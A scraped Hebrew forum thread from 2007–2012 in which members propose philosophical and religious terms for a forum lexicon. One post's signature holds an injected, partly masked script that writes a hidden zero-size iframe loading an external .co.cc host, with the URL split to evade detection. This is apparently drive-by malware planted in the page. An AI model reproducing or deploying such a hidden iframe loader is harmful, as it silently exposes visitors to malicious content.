|
|
| נשלח ב-4/2/2007 09:43 |
 |
| |
[ ואיך זה בדיוק שייך ללכסיקון עצכ"ח ? ]
|
|
|
|
| נשלח ב-4/2/2007 11:20 |
|
| |
לינקי ,
[ האם הלכסיקון לא מיועד למילים/מונחים שמשמשים בקביעות במהלך הדיונים , והם זרים למעיינים חדשים . או לא נהירים כל הצורך , אף לותיקים ? ]
|
|
|
|
| נשלח ב-4/2/2007 12:07 |
|
| |
התכונתי שאם זה אומץ בלכסיקון של יצחקומר ומיימוני שהם "כותבי עצכח" לגבי נושא עצכחי מובהק, הרי שבכך ניתן לראות את המונח כלכסיקון עצכחי גם אם המונח עדיין לא רווח בעצכח.
_________________
בברכה.
|
|
|
|
| נשלח ב-4/2/2007 12:30 |
|
| |
לינקי
איקון ירוק.
ספרן
יתכן שהצדק עמך. באמת מונח זה טרם השתגר בפורומנו. לפיכך, יש לראות בו, בינתים, הצעה והמלצה.
אך איני רואה בכך חריגה ממטרת האשכול הזה. אולי כדאי להבהיר, אם כן, שהאשכול מיועד גם להצעת מונחים.
כמאמר יחזקאל (הרמן) כהן: מונחים הם כלי עבודה של השכל.
(הרמן כהן, פילוסוף יהודי, ראש זרם בתר קנטיאני בפילוסופיה הגרמנית. המאה ה19. התקרב ליהדות. הגדיר את האלקים בתור הקורלט שהתבונה מכירה בו, והתלבט קשות איך אפשר לעמוד בקשר עם אלקים שמוכר רק באופן טרנצנדנטי. למה הבאתי זאת? כיון שהזכרתיו, ציינתי מיהו. ואולי כדאי לפתוח אשכול על אישים ושיטות, מעין לכסיקון לדמויות?).
|
|
|
|
| נשלח ב-15/3/2007 16:04 |
|
| |
תרגום "תורה מן השמיים" ל"לגיטימציה מן השמיים" בוגי/מיימוני
הקבלה מ"אנוסי התבונה" ל"כלואי התבונה" מיימוני/ווטו
הגדרה למסגרת הדת: "בית כלא לחלק הפושע שבאדם ובית ספר לחלק החכם שבו" ווטו/מיימוני
_________________
תוקן על ידי לינקזעצער ב- 19/03/2007 9:01:58
בברכה
|
|
|
|
| נשלח ב-25/10/2009 16:42 |
|
| |
"דרבון אלוהי" - דיון על מקומו במהות הדת - המנקש/בוגי
_________________
בברכה
|
|
|
|
| נשלח ב-23/6/2010 22:08 |
|
| |
מונח אורווליאני.
או: שימוש אורווליאני במונח.
שימוש במילה באופן חריג שלמעשה סותר את המשמעות הרגילה שלה.
הביטוי לקוח מספרו הידוע של ג'ורג' אורוול, 1984. אם לא היה על כך אשכול, על הספר, צריך להיות.
בעל המונח - בעל בעמיו כאן.
http://bhol-forums.co.il/post.asp?forum_id=1364&method=reply&topic_id=968205&M=False&arc=0"e=25738943"eType=2
איני זוכר דוגמאות מהספר לשימושים כאלו. אבל דומה לכך: לדברווז. שילוב של לדבר עם לגעגע כברווז. מילה זו יכולה להיות כינוי גנאי לאויבי המשטר או שבח לנציגיו. ההקשר קובע. איני יודע מה המילה באנגלית, ונראה ששם זה יותר מוצלח.
***
דוגמא חביבה עלי לשימוש אורווליאני מתוך כתבי פילוסוף. ברטרנד ראסל כתב פעם כי התוספת "האמיתי" באה לשלול את המשמעות המקורית של המילה.
כך:
הטוב האמיתי: מה שרע לך.
החופש האמיתי: להיות משועבד לאחרים.
הרצון האמיתי: מה שקובעים בשבילך שעליך לרצות.
וכהאי גוונא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-27/8/2010 10:47 |
|
| |
אגדות אלף מוצ"ש ומוצ"ש - המקבילה העצכחית של "אגדות אלף לילה ולילה".
וראו גם: "מטעמים לשולחן שבת" (קיים גם באינטרנט) ועוד. ניתן להכין רשימה של מקורות יהודיים פולקלוריסטיים כאלו.
המונח נטבע כהיום הזה בידי חברנו מ. זוהר.
...התפישה אצל העם לקבל את אגדות חז"ל כסיפור היסטורי אותנטי, תפישה שכנראה לא התחילה היום וגם לא אתמול היא זו שנתנה את הגושפנקה לקבל כאמת צרופה את כל אגדות אלף מוצ"ש ומוצ"ש ודומותיהן
.
http://bhol-forums.co.il/topic.asp?topic_id=2822219&whichpage=1&forum_id=1364#R_6
האם אשת עגונת קש היא עגונה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-29/8/2010 06:24 |
|
| |
כרגע ראיתי באשכול על פרשת כי תבוא שידידנו החסיד מדינגה כתב בהודעתו השניה: "שהקב"ה מבחיר את הבחירה על ידי ציוויו, אזהרותיו והבטחותיו" [ואם כי ייחס את הדבר לשיטת "מקובלים" לא נראה שנאמר על ידם בלשון הזה].
|
|
|
|
| נשלח ב-29/8/2010 08:34 |
|
| |
ווטו
ברוך השב!
 
|
|
|
|
|
| נשלח ב-17/1/2012 07:56 |
|
| |
מבחן הביצה של מרק טויין.
מופיע לראשונה כאן
אנקדוטה על הסופר חד הלשון מספרת כי פעם קיבל חיבור רב דפים לפירסום בעיתונו מידי קשישה פלונית. הוא החזיר את הרכוש לבעליו עם הערה קצרה שאין זה ראוי לדפוס.
האשה חזרה וכתבה לו והתלוננה שלא קרא את כל הטקסט. והראיה: היא הדביקה את הדפים הראשונים (לאחר כמה דפים) והוא אף לא הפריד ביניהם.
טוויין, שכמסתבר נחשף בהתעלמות ממה שנראה לה כחובה אנושית ומוסרית, וגם אולי מקצועית, ענה בחדות אופיינית:
גברת, גם את במטבח לא צריכה לאכול את כל הביצה כדי לדעת שהיא מקולקלת.
כמדומה שאצלנו בפורום אנו משתדלים לאכול כל תבשיל, כלומר לקרוא כל הודעה או טקסט שאותו מנתחים, כדי להחליט מה לקרב ומה לרחק בו. אולם יחס של כבוד זה למסורת ולכותבים אינו תמיד באפשר כלפי כל חומר שהוא בעולם. הזמן יתם והנושאים לא ייתמו. לכן גם אני נכשל ומייחס דעות לטקסטים ובעליהם על סמך אמירות מלוקטות או על סמך זיהוי של הנחות יסוד. ורק צריך, למצער, להכריז על "התייחסות בשיטת הביצה של טוויין".
עוד אוסיף שיש הבדל בין מבחן טוויין לבין מה שהצעתי כאן, ואין כאן אלא שיתוף השם מטעמי הומור. טוויין בחן לפי השערתי סגנון (ולא רק תוכן) וקבע שהדבר אינו ראוי להתפרסם. כאשר מנסים להבין טקסט, מסר והנחות יסוד, אין אנו רשאים לדחותו על סמך הסגנון לבד. ביקורת ענינית מתייחסת להנחות היסוד שניתן לזהות. אמנם, אם ניתן לזהות הנחות יסוד על סמך חלק מהטקסט יש בכך כמדומה מספיק לתגובה והערכה.
נוסף הלינק_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 17/01/2012 07:57:23
 |
|
|
|
|
| נשלח ב-12/6/2012 18:48 |
|
| |
תורת הגננת.
הומצא בידי נתןהעזתי
באשכול "טעות בפרה אדומה"
יתכן שזכות הראשונים צריכה להיות שמורה לכותב אלמוני למדור המכתבים של "יתד נאמן", שהתלונן על טעות שהגננות יוצרות אצל הילדים, כאשר הן מפרשות את הפסוק על טומאת פרה אדומה כפשוטו. לאמור שהמזה את מי החטאת נטמא. ואין כן פרשנות (או מסורת) חז"ל אלא שרק המטלטלם שלא לצורך נטמא.
המונח "תורת הגננת" נוח מאד ויעיל מאד כדי לציין את מערכת האמונות הילדותית, התמימה ואף הפונדמנטליסטית שילדים מתחנכים עליה. אך נשארים איתה גם כשהם גדלים ומתבגרים, או אמורים לגדול ולהתבגר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/6/2012 13:51 |
|
| |
כבר יש בפורום כמה מלאכים [שכליאל, תוריאל, וכו'] הרשו לי להוסיף עוד מלאך. המלאך פיל"ד. ומנא אמינא לה? ממעשה שהיה. "שמעתי שהה"ק הכהן הגדול מאלכסנדרי עראה לאברך אחד בין החסידים שהאנה א"ע וחושב שהגיע והשיג מראות הנבואה, ולקח הה"ק פתקא וכתב על הפתקא איך שיתנהג איש קדוש כזה, וכתב עליו שהוא פתקא מן שמיא שצריך פרישות יתרה וכיוצא בזה, והשליך הפיתקא על האברך וחתם עליו ,מלאך פיל"ד", והאברך סבר שבאמת הוא פתקא מן שמיא ונכנס להה"ק הרבי ר' בונם זי"ע, וקרא להרבי מאלכסנדר, כי המעשה הזו הי' בימי נעורים של הרב הק' טאלכסנדר והכיר הרר"ב זי"ע שזהו מלאכתו ושאלו ע"ד המלאך אשר חתם תחת הפתקא והשיב ש,פיל"ד' ר"ת פ'תי י'אמין ל'כל ד'בר, ועשה דבר זה כד להודיע איך שיוכל האדם לטעות ולאנות את עצמו "
(שיח שרפי קדש)
תוקן על ידי יהיאור ב- 13/06/2012 13:52:57
|
|
|
|
| נשלח ב-13/6/2012 14:22 |
|
| |
יהי אור
טול מלוא חופנים!
(רק שאלה מהצד: באמת יש ספר כזה וזה כתוב שם, נכון? זה לא מהמחבר פיל"ד?)
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
